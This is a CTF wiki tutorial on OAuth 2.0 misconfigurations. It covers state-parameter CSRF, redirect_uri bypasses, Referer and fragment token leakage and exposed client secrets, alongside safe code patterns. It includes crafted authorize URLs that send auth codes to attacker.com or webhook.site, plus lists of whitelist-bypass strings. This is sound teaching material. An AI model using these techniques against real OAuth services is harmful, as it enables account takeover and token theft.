Athena Wiki
Web ExploitationAuthentication

OAuth Misconfiguration

webadvanced

Exploit OAuth 2.0 vulnerabilities - open redirects, state bypass, token leakage in CTF web challenges.

weboauthauthorization-codetokenredirectstatecsrf

OAuth Misconfiguration

OAuth 2.0 is the standard protocol for delegated authorization. Misconfigured OAuth flows are a rich source of CTF web vulnerabilities - from account takeover to SSRF.


OAuth 2.0 Flow (Authorization Code)

1. Client → Authorization Server: GET /authorize?
   client_id=...&redirect_uri=...&scope=...&state=RANDOM

2. User authenticates → Authorization Server → Client:
   GET /callback?code=AUTH_CODE&state=RANDOM

3. Client → Authorization Server: POST /token
   code=AUTH_CODE&client_secret=...

4. Authorization Server → Client: {"access_token": "..."}

Attack: State Parameter CSRF

If the state parameter is not validated or is predictable, an attacker can perform CSRF against the OAuth flow:

# No state: CSRF trivially possible
# Predictable state (e.g., user ID): guess/brute-force

# Attack: trick victim into completing OAuth with attacker's auth code
# → attacker's account linked to victim's account

Attack: Open Redirect via redirect_uri

If redirect_uri is not strictly validated, steal the auth code:

# Vulnerable: accepts any domain
https://auth.server.com/authorize?
  client_id=app&
  redirect_uri=https://attacker.com/callback&  ← attacker's domain
  scope=openid&
  state=x

# If user clicks → auth code goes to attacker.com

Partial validation bypass

# Whitelisted: https://app.com/callback
# Bypass with subdomain: https://evil.app.com/callback
# Bypass with path: https://app.com/callback/../../../attacker-controlled
# Bypass with fragment: https://app.com/callback?redirect=https://attacker.com

Attack: Token in Referer Header

If the auth code or access token appears in the URL and the page loads external resources, the token leaks via the Referer header:

https://app.com/callback?code=AUTH_CODE
# → page loads: <img src="https://analytics.com/track.gif">
# → Referer: https://app.com/callback?code=AUTH_CODE
# → analytics.com receives AUTH_CODE!

Attack: Implicit Flow Token Leakage

In the now-deprecated implicit flow, the token is in the URL fragment:

https://app.com/callback#access_token=TOKEN&token_type=bearer
# Fragment is not sent to servers by default
# But: JavaScript on the page can read it and send it elsewhere
# Or: if there's an open redirect on the same domain

Attack: Misconfigured Client Secret

If the client secret is embedded in client-side JavaScript or a mobile app:

// In app.js:
const CLIENT_SECRET = "abc123secret";

Attacker can exchange auth codes directly.


Practical CTF Approach

# Step 1: Find the OAuth authorize URL
# Click "Login with Google/GitHub/etc"
# Note the full URL in Burp

# Step 2: Check state parameter
# Is it present? Is it validated?
# Try reusing a state value from a previous request

# Step 3: Test redirect_uri
# Change to your server, see if code is delivered
curl "https://auth.server.com/authorize?client_id=app&redirect_uri=https://webhook.site/xxx&scope=openid&state=test"

# Step 4: Check for code reuse
# Use the same auth code twice → second should fail if properly protected

# Step 5: Token exposure
# Check response headers, page source, and network requests for token in URL

Common Vulnerable Patterns

# Predictable state (vulnerable):
state = str(user_id)  # guessable!

# Safe state:
import secrets
state = secrets.token_hex(16)

# Vulnerable redirect_uri check:
if "app.com" in redirect_uri:  # allows evil.app.com or app.com.evil.com!
    allow()

# Safe check:
from urllib.parse import urlparse
parsed = urlparse(redirect_uri)
if parsed.scheme == "https" and parsed.netloc == "app.com":
    allow()

Checklist

  • Intercept the authorize URL in Burp
  • Check state: is it present? validated? predictable?
  • Test redirect_uri manipulation: different domain, path traversal
  • Check for token in URL (Referer leak risk)
  • Test auth code reuse
  • Check if client_secret is exposed in JS
  • Try CSRF: link victim to your OAuth state/code
  • Check for open redirects on the callback domain

Last updated on

On this page